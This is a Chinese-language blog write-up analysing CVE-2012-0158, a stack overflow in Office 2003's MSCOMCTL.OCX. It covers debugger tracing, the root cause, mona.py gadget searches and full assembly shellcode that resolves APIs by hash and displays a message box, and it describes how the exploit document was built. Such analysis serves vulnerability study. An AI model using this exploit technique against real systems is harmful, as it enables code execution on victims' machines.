其他分享
首页 > 其他分享> > Office 2003 sp3(CVE-2012-0158)漏洞分析报告

Office 2003 sp3(CVE-2012-0158)漏洞分析报告

作者:互联网

文章目录

Office 2003 sp3(CVE-2012-0158)漏洞分析报告

软件名称 Office 2003 sp3 操作系统 Windows XP/2003/7/8.1/10
软件版本 11.0.8322 漏洞编号 CVE-2012-0158
漏洞模块 MSCOMCTL.OCX 危害等级 超危
模块版本 6.01.9545 漏洞类型 缓冲区溢出
编译日期 2012-01-01 威胁类型 本地

1.漏洞背景

Microsoft Office 2003 sp3是2007年9月18日由微软公司创作的一个办公软件。精简版包含 Word、Excel、PowerPoint、Access、OutLook 五大组件常用功能。Microsoft Office 2003 sp3软件的MSCOMCTL.ocx 模块中275C876D 的函数在读取Word文档数据时,由于读取的长度和验证的长度都在文件中,所以攻击者可以自由构造缓冲区大小,进而触发栈溢出漏洞。

2.漏洞成因

2.1 触发漏洞

使用Office 2003 sp3 Word软件打开PoC样本文件,触发漏洞
在这里插入图片描述

2.2 定位漏洞模块

使用OllyDbg附加调试WINWORD.EXE程序,(设置OD,将忽略异常都恢复)打开poc文件,触发漏洞,效果如下图:
在这里插入图片描述
分析溢出点附近堆栈,溢出点下面的堆栈一般是刚刚调用的函数的上一层函数堆栈,溢出后可能已经破坏,溢出点上面的堆栈一般是刚刚执行的函数堆栈,可以发现有两个模块地址,一个是MSCOMCTL 模块中的地址275C8A0A,另一个是msvcp60模块的地址6A626F43, 这两个地址离得很近,不确定是哪个模块触发得漏洞,在两个模块都下断点,重新执行POC文件。
在这里插入图片描述
单步F8运行,可以确定是MSCOMCTL 模块中函数MSCOMCTL.275C876D触发了漏洞。
在这里插入图片描述

2.3 定位漏洞函数

已经确定是MSCOMCTL.275C876D触发了漏洞,使用 IDA 定位到 MSCOMCTL.ocx模块 中的 275C876D 函数
在这里插入图片描述
动态调试分析sub_275C876D函数得参数,参数3要读取的长度是0x8282。
在这里插入图片描述
单步F7进入sub_275C876D,找到造成溢出的代码。
在这里插入图片描述
使用IDA详细分析该段代码,qmemcpy内存拷贝函数触发溢出漏洞。
在这里插入图片描述

2.4 分析漏洞成因

获取 shellcode 长度之后,在文件中搜索定位长度,发现有两个长度,猜测一个是 dwBytes,一个是 v7。
在这里插入图片描述
验证猜测,修改一个字节,再次动态调试,可以确定文件中第一个长度是参数的长度,第二个长度是读取的长度,两个长度都在文件中,所以可以随心所欲的溢出了。
在这里插入图片描述
OD动态调试,可以发现83所在的位置是参数,84所在的位置是局部变量的值。
在这里插入图片描述

2.5 总结

经过调试和分析之后,CVE-2012-0158 漏洞触发在 MSCOMCTL.ocx 模块中,漏洞成因是在读取数据时,要读取的长度和验证的长度都在文件中,所以可以自行构造,进而触发栈溢出。

3.利用过程

3.1 分析和设计利用漏洞的ShellCode的结构

在这里插入图片描述

3.2 寻找跳板指令jmp esp

使用 ImmunityDebugger+mona.py

!mona modules

找到 Rebase ,SafeSEH, ASLR,NXCompat 为 False ,而 OS DLL 为 True 的系统模块。
在这里插入图片描述

!mona find -s "\xff\xe4" -m msvbvm60.dll

在这里插入图片描述
获取 jmp esp 地址是 0x729A0535,该地址内存属性可读可写可执行。

3.3 编写ShellCode,注入ShellCode

#include "ShellCode.h"
//#include <stdio.h>
extern "C" int shellcode_start();

//定位代码位置
_declspec(naked) int shellcode_entry()
{
	_asm {
		jmp shellcode_start
	}
}

//**************************************************
//	获取Kernel32模块基址
//**************************************************
_declspec(naked) int GetKernel32Addr()
{
	_asm {
		push esi
		mov esi, dword ptr fs : [0x30]		//esi=PEB地址
		mov esi, [esi + 0x0C]				//esi=PEB_LDR_DATA结构体的地址
		mov esi, [esi + 0x1C]				//esi=模块链表指针InInitializationOrderModuleList
		mov esi, [esi]						//esi=访问链表的第二个条目
		mov eax, [esi + 0x08]				//ebx=Kernel32.dll模块基址
		pop esi
		ret
	}
}

//**************************************************
//	获取字符串的Hash值
//**************************************************
_declspec(naked) int GetStringHash(const char* szString)
{
	_asm {
		push ebp
		mov ebp, esp
		push edx
		push esi
		xor edx, edx
		xor eax, eax
		mov esi, [ebp + 8]			//获取参数,字符串
		GetStringLoop:
		lods byte ptr[esi]			//获取字符串一个字节
			test al, al			    //判断是否到达字符串末尾
			je GetStringExit
			rol edx, 0x3			//求HASH
			xor dl, al				//求HASH
			jmp GetStringLoop
			GetStringExit :
		xchg eax, edx
			pop esi
			pop edx
			mov esp, ebp
			pop ebp
			ret 4
	}
}

//**************************************************
//	比较API的Hash值
//**************************************************
_declspec(naked) int Hash_CmpString(const char* pFunName, int nHash)
{
	_asm {
		push ebp
		mov ebp, esp
		push edx
		push ebx
		mov eax, [ebp + 8]			//获取参数,字符串
		push eax
		call GetStringHash
		mov ebx, eax
		mov edx, [ebp + 0xC]			//参数2, hash
		xor eax, eax
		cmp ebx, edx					//比较字符串hash值
		jne Hash_CmpString_End		//不相等返回0
		mov eax, 0x1					//相等返回1
		Hash_CmpString_End:
			pop ebx
			pop edx
			mov esp, ebp
			pop ebp
			ret 8
	}
}



//**************************************************
//	根据HASH值 寻找指定模块的函数地址
//**************************************************
_declspec(naked) int GetFunAddrByHash(int nHash, int nImageBase)
{
	_asm {
		push ebp
		mov ebp, esp
		sub esp, 0xC				//申请局部空间
		push edx
		push ebx
		//1.获取ENT/EAT/EOT地址
		mov edx, [ebp + 0xC]		//edx=nImageBase
		mov esi, [edx + 0x3C]		//esi=pDosHeader->e_lfanew
		lea esi, [edx + esi]		//esi=PE头
		mov esi, [esi + 0x78]		//esi=IMAGE_EXPORT->VirtualAddress
		lea esi, [edx + esi]		//esi=导出表首地址
		//EAT
		mov edi, [esi + 0x1C]		//edi=pExport->AddressOfFunctions
		lea edi, [edx + edi]		//EAT首地址
		mov[ebp - 0x4], edi
		//ENT
		mov edi, [esi + 0x20]	//edi=pExport->AddressOfNames
		lea edi, [edx + edi]	//ENT首地址
		mov[ebp - 0x8], edi
		//EOT
		mov edi, [esi + 0x24]	//edi=pExport->AddressOfNameOrdinals
		lea edi, [edx + edi]	//EOT首地址
		mov[ebp - 0xC], edi
		//2.循环比对ENT中的函数名
		xor eax,eax
		xor ecx, ecx				//i=0
		jmp CmpIndex
		AddIndex :
		inc ecx
			CmpIndex :
		cmp ecx, [esi + 0x18]
			jge GetFunAddr_Exit
			mov ebx, [ebp - 0x8]	//获取ENT基址
			mov ebx, [ebx + ecx * 4]	//取ENT[i]RVA
			lea ebx, [ebx + edx]		//ebx=函数名首地址
			push[ebp + 0x8]			//参数2:hash值
			push ebx				//参数1:函数名
			call Hash_CmpString		//比较
			test eax, eax
			je AddIndex
			//3.成功找到对应序号
			mov ebx, [ebp - 0xC]		//获取EOT基址
			xor edi, edi
			mov di, [ebx + ecx * 2]		//EOT[i]-->地址表下标
			//4.在EAT中找到对应函数地址
			mov ebx, [ebp - 0x4]		//EAT
			mov edi, [ebx + edi * 4]	//EAT[edi]
			//5.返回函数地址
			lea eax, [edi + edx]		//函数地址
	GetFunAddr_Exit:
			pop ebx
			pop edx
			mov esp, ebp
			pop ebp
			ret 8
	}
}

//**************************************************
//	Shellcode入口点
//**************************************************
_declspec(naked) int shellcode_start()
{
	_asm {
		push ebp
		mov ebp, esp
		sub esp, 0x30		//申请局部空间
		push edx
		jmp tag_start
		// tag_code_pop-0x2A    len:12   "kernel32.dll"
		_asm _emit(0x6B) _asm _emit(0x65) _asm _emit(0x72) _asm _emit(0x6E)
		_asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x33) _asm _emit(0x32)
		_asm _emit(0x2E) _asm _emit(0x64) _asm _emit(0x6C) _asm _emit(0x6C)
		_asm _emit(0x00)
		// tag_code_pop-0x1D    len:10   "user32.dll"
		_asm _emit(0x75) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
		_asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64)
		_asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00)
		// tag_code_pop-0x12	len:12   "Hello World!"
		_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
		_asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6F)
		_asm _emit(0x72) _asm _emit(0x6C) _asm _emit(0x64) _asm _emit(0x21)
		_asm _emit(0x00)
	tag_start:
		call tag_code_pop
	tag_code_pop :
		pop edx
		lea esi, [edx - 0x1D]		//获取user32字符串地址
		mov [ebp - 0x4], esi
		lea esi, [edx - 0x12]		//获取Hello World!字符串地址
		mov [ebp - 0x8], esi
		lea esi, [edx - 0x12]		//获取kernel32.dll字符串地址
		mov [ebp - 0x24], esi

		// 1. 获取 Kernel32 基地址
		call GetKernel32Addr
		mov[ebp - 0xC], eax							  //ebp-0x4:user32字符串地址
		// 2. 获取 GetProcAddress 地址				  //ebp-0x8:Hello World!字符串地址
		push eax									  //ebp-0xC:Kernel32基址
		push 0xF2509B84								  //ebp-0x10:GetProcAddress函数地址
		call GetFunAddrByHash						  //ebp-0x14:LoadLibraryExA函数地址
		mov[ebp - 0x10], eax						  //ebp-0x18:user32基址
		// 3. 获取 LoadLibraryExA 地址				  //ebp-0x1C:MessageBoxA函数地址
		push[ebp - 0xC]								  //ebp-0x20:
		push 0x04BF60E8								  //ebp-0x24:kernel32.dll字符串地址
		call GetFunAddrByHash						  
		mov [ebp - 0x14], eax
		// 4. 获取 user32 基地址
		push 0
		push 0
		push [ebp - 0x4]
		call eax
		mov [ebp - 0x18], eax
		// 5. 获取 MessageBoxA 地址
		push eax
		push 0x14D14C51
		call GetFunAddrByHash
		mov[ebp - 0x1C], eax
		// 6. 调用 MessageBoxA 地址
		xor edx, edx
		push edx					//	|-uType
		push edx					//	|-lpCaption
		push[ebp - 0x8]				//	|-lpText
		push edx					//	|-hWnd
		call eax
		// 7. 获取 ExitProcess 地址
		push[ebp - 0xC]
		push 0xE6FF2CB9
		call GetFunAddrByHash
		// 8. 调用 ExitProcess
		xor edx, edx
		push edx
		call eax
		//恢复寄存器环境
		pop edx
		mov esp, ebp
		retn
	}
}

int main()
{
	shellcode_entry();	
	return 0;
}

4.构造Exp

提取二进制代码构造Exploit,注入ShellCode之后的PoC文件:可以利用漏洞。
在这里插入图片描述
使用Office打开新构建的PoC文件,完成漏洞利用。
在这里插入图片描述

5.结语

引发漏洞的mscomctl.ocx模块是电脑系统中ActiveX插件的控制模块。mscomctl.ocx在系统中是不可缺少的,涉及的用户面很广泛,并且攻击人员可任意修改引发该漏洞的缓冲区大小,执行恶意代码,危害极高。

标签:Office,sp3,mov,2003,ebp,esi,edx,emit,asm
来源: https://blog.csdn.net/w_g3366/article/details/100592080